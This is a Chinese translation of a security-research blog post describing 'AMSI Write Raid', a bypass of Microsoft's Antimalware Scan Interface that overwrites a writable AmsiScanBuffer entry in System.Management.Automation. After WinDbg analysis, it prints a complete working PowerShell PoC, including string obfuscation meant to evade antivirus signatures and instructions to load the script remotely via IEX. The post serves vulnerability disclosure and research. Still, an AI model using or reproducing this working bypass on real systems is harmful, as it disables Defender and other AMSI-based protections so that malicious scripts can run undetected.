白帽故事 · 2024年5月13日

微软AMSI绕过利用【附PoC】

背景介绍

微软的反恶意软件扫描接口 (AMSI) 在 Windows 10 和更高版本的 Windows 中提供,旨在帮助检测和预防恶意软件。

AMSI 是一个接口,它将各种安全应用程序(例如防病毒或反恶意软件软件)集成到应用程序和软件中,并在执行之前检查它们的行为。 国外研究者 Victor Khoury(Vixx) 在 System.Management.Automation.dll 中发现了一个可写条目,其中包含 AmsiScanBuffer 的地址。

AmsiScanBuffer 是 AMSI 的关键组件,应该被设置为只读,类似于导入地址表 (IAT)条目,本文将描述此漏洞并揭示 Vixx 如何利用此漏洞进行 0day AMSI 绕过,该漏洞已于 2024 年 4 月 8 日向微软报告。

AMSI 背景

大多数 AMSI 绕过都会破坏 AMSI 库 Amsi.dll 中的函数或字段,导致 AMSI 崩溃,从而实现绕过。除了崩溃或修补 Amsi.dll 之外,攻击者还可以使用 CLR Hooking 绕过 AMSI,这涉及通过调用 VirtualProtect 并使用返回 TRUE 的‘钩子’覆盖它来更改 ScanContent 函数的保护。

虽然 VirtualProtect 本身并不是恶意的,但恶意软件可能会滥用它来修改内存,从而逃避端点检测和 (EDR)系统响应和防病毒 (AV) 软件的检测。鉴于该攻击载体的知名度较高,大多数高级攻击者通常会避免调用此 API。

本文将揭示一种新发现的 AMSI 绕过技术。在 PowerShell 中运行 [PSObject].Assembly.Location 会公开该 DLL 的位置,我们可以使用 dnsspy 对其进行逆向分析。

file

逆向分析

首先,将 PowerShell 附加到 Windbg,然后,在 AmsiScanBuffer 函数上设置一个断点,该断点是 AMSI 参与时唯一会触发的函数:

file

接着,在 PowerShell 中运行任何随机字符串(如“Test”)来触发断点。然后,在windbg中运行k检查堆栈调用。

file

大多数绕过修补 Amsi.dll 中的实际 AmsiScanBuffer,在本例中,我们的目标是针对系统管理自动化 ni 模块中导致 AmsiScanbuffer 调用的某些内容。

让我们从 System Management Automation ni 的偏移量 0x1071757 (+0x1071757) 向后反汇编(使用 ub 命令),这是启动对 AmsiScanBuffer 的调用的第二个条目,看看发生了什么。

file

在本例中,调用 rax 是对 AmsiScanBuffer 的实际调用,绕过 AMSI 的一种方法是修补调用 rax,这需要 VirtualProtect。

但是,当 Vixx 在调用之前跟踪取消引用以查看如何填充 rax 时,他注意到获取 AmsiScanBuffer 的地址实际上已经是可写的,这为绕过不同的 AMSI 提供了可能性。

file

为什么会发生这种情况,是否可以使用虚拟函数覆盖该条目来过绕过AMSI呢?

攻击入口

发现这一点后,Vixx 开始了解为什么该条目是可写的以及为什么它没有像导入地址表 (IAT) 那样受到保护。让我们看看他对这个可写条目的分析,并尝试了解它是如何填充的。

首先,将获取可写条目和 System.Management.Automation.ni.dll 之间的偏移量,重点介绍几个关键命令。

首先,需要遵循 3个 mov 指令突出显示的取消引用,最终将使用 AmsiScanBuffer 的地址填充 rax。

我们将使用 dqs 显示一个四字节(64 位),该四字节位于基址指针寄存器 rdp(当前堆栈帧的基址)之前 80 字节 (0x50),我们将显示一行输出(L1),该行输出与第一个 mov 指令 mov r1l, qword ptr [rbp-50h] 的输出格式相匹配,并且我们收到的值将根据 mov 指令保存在 r11 中。

然后,使用 dqs 在 0x7ffa27c52940 (r11) + 0x20 处显示一个四字节,它与第二个 mov 指令 mov r11, qword ptr [r11+20h] 的格式匹配,这会显示地址 0x7ffa27e06b00,该地址将根据 mov 指令再次保存在 r11 中。

最后,我们将使用 dqs 在 0x7ffa27e06b00 (r11) 处显示一个四字节,它与最后一个 mov 指令 mov rax, qword ptr [r11] 的格式匹配。这显示了 AmsiScanBuffer (0x7ffacfcc8260) 的地址,该地址将保存在 rax 中并稍后使用 call rax 进行调用。

我们感兴趣的是包含 AmsiScanBuffer 的条目 0x7ffa27e06b00。它标有从系统管理自动化 ni 基地址计算出的偏移量(0x786b00)。

接下来,我们将使用 ? 计算表达式,计算 0x7ffa27e06b00 和 System Management Automation ni 基址之间的差值,这确认了给定内存地址和 DLL 基地址 (0x786b00) 之间的偏移量。

file

在本例中,偏移量为 0x786b00,此偏移量可能会根据本地计算机和 CLR 版本的不同而变化。

我们可以使用该偏移量在加载 DLL 时在读写时中断,并跟踪该条目是如何填充和访问的。

以 powershell.exe 作为参数来启动 Windbg。

file

然后使用 sxe ld System.Management.Automation.ni.dll 将 System.Management.Automation.ni.dll 加载到 powershell 时中断,然后在系统管理自动化 ni + 0x786b00 处中断读/写,以确定如何填充它以及访问此条目的内容。

file

Windbg 将在写入或读取该内存地址的指令之后立即中断,因此我们需要(ub)来查看发生了什么。

file

根据输出,在 clrlNDirectMethodDesc 的 SetNDirectTarget 方法处的断点被触发,特别是mov rbx, qword ptr [rsp+30h] 指令处函数的 60 字节 (+0x3c) 偏移量,接下来,使用 ub clr!NDirectMethodDesc::SetNDirectTarget+Ox1e显示当前指令之前的汇编代码。

u @rbx L1 指令显示包含 AmsiScanBuffer 地址的 rbx 被写入了我们感兴趣的条目的 r14。

如果检查堆栈调用,将看到此操作是 clr!ThePreStub 的一部分。

file

继续执行。

file

可以看到 mov rax,qword ptr [r11] 指令也访问此条目,但如果仔细观察,会注意到这会导致调用 rax,即我们之前看到的对 AmsiScanBuffer 的调用,这是调用 AmsiScanBuffer 的 ScanContent 函数。

这表明该条目在 PowerShell 最初加载时被访问,写入 AmsiScanBuffer 地址,然后进行后续读取并调用 AmsiScanBuffer 函数。

clr!ThePreStub 是 .NET Framework 中的一个辅助函数,用于为初始执行代码做准备,其中包括即时 (JIT) 编译,这将在被调用函数和原始调用函数之间创建一个stub。

一言以蔽之,就是它为 JIT 准备代码,根据 Matt Warren的说法,该过程看起来像下面这样:

file

作为 JIT 的一部分,辅助函数将 AmsiScanBuffer 地址写入 DLL 入口地址中偏移量 0x786b00 处,但不会将权限更改回只读,于是就可以通过覆盖该条目来绕过 AMSI 而无需调用 VirtualProtect 。

在PowerShell中编写绕过代码

我们可以使用 System_Management_Automation_ni + 0x786b00 偏移量来覆盖代码中的条目,但这种方法并不完全实用,因为偏移量可能会根据计算机和安装的 CLR 版本不同而变化。

更好的方法是使用 ReadProcessMemory 从 ScanContent 的内存地址向后读取 0x1000000 字节,并将这些字节保存在数组中,然后循环遍历该数组,直到找到 AmsiScanBuffer 地址和偏移量。

在 PowerShell 版本 5 和 7 中测试该方法时,Vixx 遇到了使用单个 ReadProcessMemory 调用一次读取完整 0x1000000 字节的访问问题。

他还发现一次读取一个字节的速度很慢,需要数百万次 ReadProcessMemory 调用,这效率太低下了。于是他找到了一个折中方案,选择将数据分割成 0x50000 (32KB) 的块。

在代码的第一部分中,将在 C# 中加载并导入所需的 API。

在此代码中,将定义一个 API 类,其中包含几个使用 DllImport 属性从 kernel32.dll 导入的外部函数声明,我们的类还包含一个返回整数的 Dummy 方法,最后将使用 Add-Type cmdlet 编译此内存程序集并将此类添加到当前 PowerShell 会话,然后将使用此虚拟函数覆盖包含 AmsiScanBuffer 的可写条目。

$APIs = @"
using System;
using System.ComponentModel;
using System.Management.Automation;
using System.Reflection;
using System.Runtime.CompilerServices;
using System.Runtime.InteropServices;
using System.Text;

public class APIs {
    [DllImport("kernel32.dll")]
    public static extern bool ReadProcessMemory(IntPtr hProcess, IntPtr lpBaseAddress, byte[] lpBuffer, UInt32 nSize, ref UInt32 lpNumberOfBytesRead);

[DllImport("kernel32.dll")]
    public static extern IntPtr GetCurrentProcess();
    [DllImport("kernel32", CharSet=CharSet.Ansi, ExactSpelling=true, SetLastError=true)]
    public static extern IntPtr GetProcAddress(IntPtr hModule, string procName);

    [DllImport("kernel32.dll", CharSet=CharSet.Auto)]
    public static extern IntPtr GetModuleHandle([MarshalAs(UnmanagedType.LPWStr)] string lpModuleName);

    [MethodImpl(MethodImplOptions.NoOptimization | MethodImplOptions.NoInlining)]
    public static int Dummy() {
        return 1;
    }
}
"@

Add-Type $APIs

内存中汇编与虚拟函数

接下来,我们需要使用 GetModuleHandle 和 GetProcAddress 获取内存中 AmsiScanBuffer 的函数地址。

我们需要在Amsi.dll上运行GetModuleHandle来获取Amsi.dll在内存中的地址,然后在AmsiScanBuffer上运行GetProcAddress来获取AmsiScanBuffer在内存中的地址。

然而在这里需要留意,避免使用字符串 Amsi.dll 和 AmsiScanbuffer,因为这些会触发大多数 AV 产品的 AV 签名。因此 Vixx 建议使用一些巧妙的字符串来替换。

让我们从 ScanContent 向后搜索 System.Management.Automation.dll 中的 AmsiScanBuffer。

这个 AmsiScanBuffer 将是我们在 System.Management.Automation.dll 中搜索的地址,从 ScanContent 向后搜索。。

$string = 'hello, world'
$string = $string.replace('he','a')
$string = $string.replace('ll','m')
$string = $string.replace('o,','s')
$string = $string.replace(' ','i')
$string = $string.replace('wo','.d')
$string = $string.replace('rld','ll')

$string2 = 'hello, world'
$string2 = $string2.replace('he','A')
$string2 = $string2.replace('ll','m')
$string2 = $string2.replace('o,','s')
$string2 = $string2.replace(' ','i')
$string2 = $string2.replace('wo','Sc')
$string2 = $string2.replace('rld','an')

$string3 = 'hello, world'
$string3 = $string3.replace('hello','Bu')
$string3 = $string3.replace(', ','ff')
$string3 = $string3.replace('world','er')

$Address = [APIS]::GetModuleHandle($string)
[IntPtr] $funcAddr = [APIS]::GetProcAddress($Address, $string2 + $string3)

获取 AmsiScanBuffer 地址

由于 ScanContent 函数位于 System.Management.Automation.dll 内的 AmsiUtils 类中,因此我们必须执行几个步骤才能在代码中找到该函数。

我们在 PowerShell 中循环加载的程序集,直到找到 System.Management.Automation.dll 程序集。

然后将检索该程序集中的所有类并循环遍历它们,直到找到 AmsiUtils 类。

最后,将检索该类中的所有成员并循环遍历它们,直到找到 ScanContent。

代码如下:

$Assemblies = [appdomain]::currentdomain.getassemblies()
$Assemblies |
  ForEach-Object {
    if($_.Location -ne $null){
         $split1 = $_.FullName.Split(",")[0]
         If($split1.StartsWith('S') -And $split1.EndsWith('n') -And $split1.Length -eq 28) {
                 $Types = $_.GetTypes()
         }
    }
}

$Types |
  ForEach-Object {
    if($_.Name -ne $null){
         If($_.Name.StartsWith('A') -And $_.Name.EndsWith('s') -And $_.Name.Length -eq 9) {
                 $Methods = $_.GetMethods([System.Reflection.BindingFlags]'Static,NonPublic')
         }
    }
}

$Methods |
  ForEach-Object {
    if($_.Name -ne $null){
         If($_.Name.StartsWith('S') -And $_.Name.EndsWith('t') -And $_.Name.Length -eq 11) {
                 $MethodFound = $_
         }
    }
}

脚本搜索

现在我们有了这个函数,将使用 ReadProcessMemory 从当前进程中读取 0x1000000 字节(一次 0x50000 字节或 32KB),从 ScanContent 开始向后读取,直到找到 AmsiScanBuffer 的地址。

PoC将采用四个参数。第一个参数是 $InitialStart,它是 ScanContent 的负偏移量,指示搜索开始的位置。在本例中,将其设置为默认值 0x5000,这意味着将从 ScanContent 开始搜索 -0x50000 字节。

其次,我们有 $NegativeOffset,它是在每个循环中从 $InitialStart 中减去的偏移量,在每个循环中,将向后读取另一个 0x50000 字节。

接着我们有 $ReadBytes,它是 ReadProcessMemory 每次迭代要读取的字节数。这里还将一次读取 0x50000 字节。

最后,$MaxOffset 是从 ScanContent 开始搜索的字节总数,为 0x1000000。

将每个参数的代码添加到PoC中:

# Define named parameters
param(
    $InitialStart = 0x50000,
    $NegativeOffset= 0x50000,
    $MaxOffset = 0x1000000,
    $ReadBytes = 0x50000
)

脚本参数

接下来,设置循环。第一个循环将一次读取 0x50000 个字节,第二个循环将逐字节搜索数组,将每 8 个字节与 AmsiScanBuffer 的地址进行比较,直到找到匹配项,此时循环将中断。

[IntPtr] $MethodPointer = $MethodFound.MethodHandle.GetFunctionPointer()
[IntPtr] $Handle = [APIs]::GetCurrentProcess()
$dummy = 0

:initialloop for($j = $InitialStart; $j -lt $MaxOffset; $j += $NegativeOffset){
    [IntPtr] $MethodPointerToSearch = [Int64] $MethodPointer - $j
    $ReadedMemoryArray = [byte[]]::new($ReadBytes)
    $ApiReturn = [APIs]::ReadProcessMemory($Handle, $MethodPointerToSearch, $ReadedMemoryArray, $ReadBytes,[ref]$dummy)
    for ($i = 0; $i -lt $ReadedMemoryArray.Length; $i += 1) {
         $bytes = [byte[]]($ReadedMemoryArray[$i], $ReadedMemoryArray[$i + 1], $ReadedMemoryArray[$i + 2], $ReadedMemoryArr>
         [IntPtr] $PointerToCompare = [bitconverter]::ToInt64($bytes,0)
         if ($PointerToCompare -eq $funcAddr) {
                 Write-Host "Found @ $($i)!"
                 [IntPtr] $MemoryToPatch = [Int64] $MethodPointerToSearch + $i
                 break initialloop
         }
    }
}

脚本循环

找到包含 AmsiScanBuffer 的入口地址后,将使用 Dummy 函数替换它(不使用 VirtualProtect)。

[IntPtr] $DummyPointer = [APIs].GetMethod('Dummy').MethodHandle.GetFunctionPointer()
$buf = [IntPtr[]] ($DummyPointer)
[System.Runtime.InteropServices.Marshal]::Copy($buf, 0, $MemoryToPatch, 1)

虚拟函数注入

完整代码如下:

function MagicBypass {

# Define named parameters
param(
    $InitialStart = 0x50000,
    $NegativeOffset= 0x50000,
    $MaxOffset = 0x1000000,
    $ReadBytes = 0x50000
)

$APIs = @"
using System;
using System.ComponentModel;
using System.Management.Automation;
using System.Reflection;
using System.Runtime.CompilerServices;
using System.Runtime.InteropServices;
using System.Text;

public class APIs {
    [DllImport("kernel32.dll")]
    public static extern bool ReadProcessMemory(IntPtr hProcess, IntPtr lpBaseAddress, byte[] lpBuffer, UInt32 nSize, ref UInt32 lpNumberOfBytesRead);

    [DllImport("kernel32.dll")]
    public static extern IntPtr GetCurrentProcess();

    [DllImport("kernel32", CharSet=CharSet.Ansi, ExactSpelling=true, SetLastError=true)]
    public static extern IntPtr GetProcAddress(IntPtr hModule, string procName);

    [DllImport("kernel32.dll", CharSet=CharSet.Auto)]
    public static extern IntPtr GetModuleHandle([MarshalAs(UnmanagedType.LPWStr)] string lpModuleName);

    [MethodImpl(MethodImplOptions.NoOptimization | MethodImplOptions.NoInlining)]
    public static int Dummy() {
     return 1;
    }
}
"@

Add-Type $APIs

$InitialDate=Get-Date;

$string = 'hello, world'
$string = $string.replace('he','a')
$string = $string.replace('ll','m')
$string = $string.replace('o,','s')
$string = $string.replace(' ','i')
$string = $string.replace('wo','.d')
$string = $string.replace('rld','ll')

$string2 = 'hello, world'
$string2 = $string2.replace('he','A')
$string2 = $string2.replace('ll','m')
$string2 = $string2.replace('o,','s')
$string2 = $string2.replace(' ','i')
$string2 = $string2.replace('wo','Sc')
$string2 = $string2.replace('rld','an')

$string3 = 'hello, world'
$string3 = $string3.replace('hello','Bu')
$string3 = $string3.replace(', ','ff')
$string3 = $string3.replace('world','er')

$Address = [APIS]::GetModuleHandle($string)
[IntPtr] $funcAddr = [APIS]::GetProcAddress($Address, $string2 + $string3)

$Assemblies = [appdomain]::currentdomain.getassemblies()
$Assemblies |
  ForEach-Object {
    if($_.Location -ne $null){
     $split1 = $_.FullName.Split(",")[0]
     If($split1.StartsWith('S') -And $split1.EndsWith('n') -And $split1.Length -eq 28) {
       $Types = $_.GetTypes()
     }
    }
}

$Types |
  ForEach-Object {
    if($_.Name -ne $null){
     If($_.Name.StartsWith('A') -And $_.Name.EndsWith('s') -And $_.Name.Length -eq 9) {
       $Methods = $_.GetMethods([System.Reflection.BindingFlags]'Static,NonPublic')
     }
    }
}

$Methods |
  ForEach-Object {
    if($_.Name -ne $null){
     If($_.Name.StartsWith('S') -And $_.Name.EndsWith('t') -And $_.Name.Length -eq 11) {
       $MethodFound = $_
     }
    }
}

[IntPtr] $MethodPointer = $MethodFound.MethodHandle.GetFunctionPointer()
[IntPtr] $Handle = [APIs]::GetCurrentProcess()
$dummy = 0
$ApiReturn = $false

:initialloop for($j = $InitialStart; $j -lt $MaxOffset; $j += $NegativeOffset){
    [IntPtr] $MethodPointerToSearch = [Int64] $MethodPointer - $j
    $ReadedMemoryArray = [byte[]]::new($ReadBytes)
    $ApiReturn = [APIs]::ReadProcessMemory($Handle, $MethodPointerToSearch, $ReadedMemoryArray, $ReadBytes,[ref]$dummy)
    for ($i = 0; $i -lt $ReadedMemoryArray.Length; $i += 1) {
     $bytes = [byte[]]($ReadedMemoryArray[$i], $ReadedMemoryArray[$i + 1], $ReadedMemoryArray[$i + 2], $ReadedMemoryArray[$i + 3], $ReadedMemoryArray[$i + 4], $ReadedMemoryArray[$i + 5], $ReadedMemoryArray[$i + 6], $ReadedMemoryArray[$i + 7])
     [IntPtr] $PointerToCompare = [bitconverter]::ToInt64($bytes,0)
     if ($PointerToCompare -eq $funcAddr) {
       Write-Host "Found @ $($i)!"
       [IntPtr] $MemoryToPatch = [Int64] $MethodPointerToSearch + $i
       break initialloop
     }
    }
}
[IntPtr] $DummyPointer = [APIs].GetMethod('Dummy').MethodHandle.GetFunctionPointer()
$buf = [IntPtr[]] ($DummyPointer)
[System.Runtime.InteropServices.Marshal]::Copy($buf, 0, $MemoryToPatch, 1)

$FinishDate=Get-Date;
$TimeElapsed = ($FinishDate - $InitialDate).TotalSeconds;
Write-Host "$TimeElapsed seconds"
}

完全绕过 AMSI 写入 Raid

让以上代码保存为 universal3.ps1 ,保存在可通过 Web 访问的目录中。

接下来,打开 PowerShell 5.1 并显示 AMSI 已就位,因为它会阻止 amsiutils。 AmsiUtils 是包含 AmsiScanBuffer 的类,因此当 AV 看到任何对 AmsiUtils 的引用时,它会假设我们正在尝试绕过 AMSI 并阻止它。

然后我们将通过 IEX 启动我们的PoC,我们将使用默认参数(可能会根据 Windows 或 CLR 的版本而变化)。最后,尝试再次运行amsiutils,看看绕过是否成功。

file

成功绕过 AMSI 并成功运行了 amsiutils,让我们在 PowerShell 7.4 也尝试一下:

file

同样适用于 PowerShell 7.4!这意味着我们可以绕过 Microsoft Defender 和大多数使用 AMSI 的其他 AV 产品。

以上内容由骨哥翻译并整理,希望你能有所收获。

原文:https://www.offsec.com/offsec/amsi-write-raid-0day-vulnerability/

更多微软安全漏洞:https://gugesay.com/?s=%E5%BE%AE%E8%BD%AF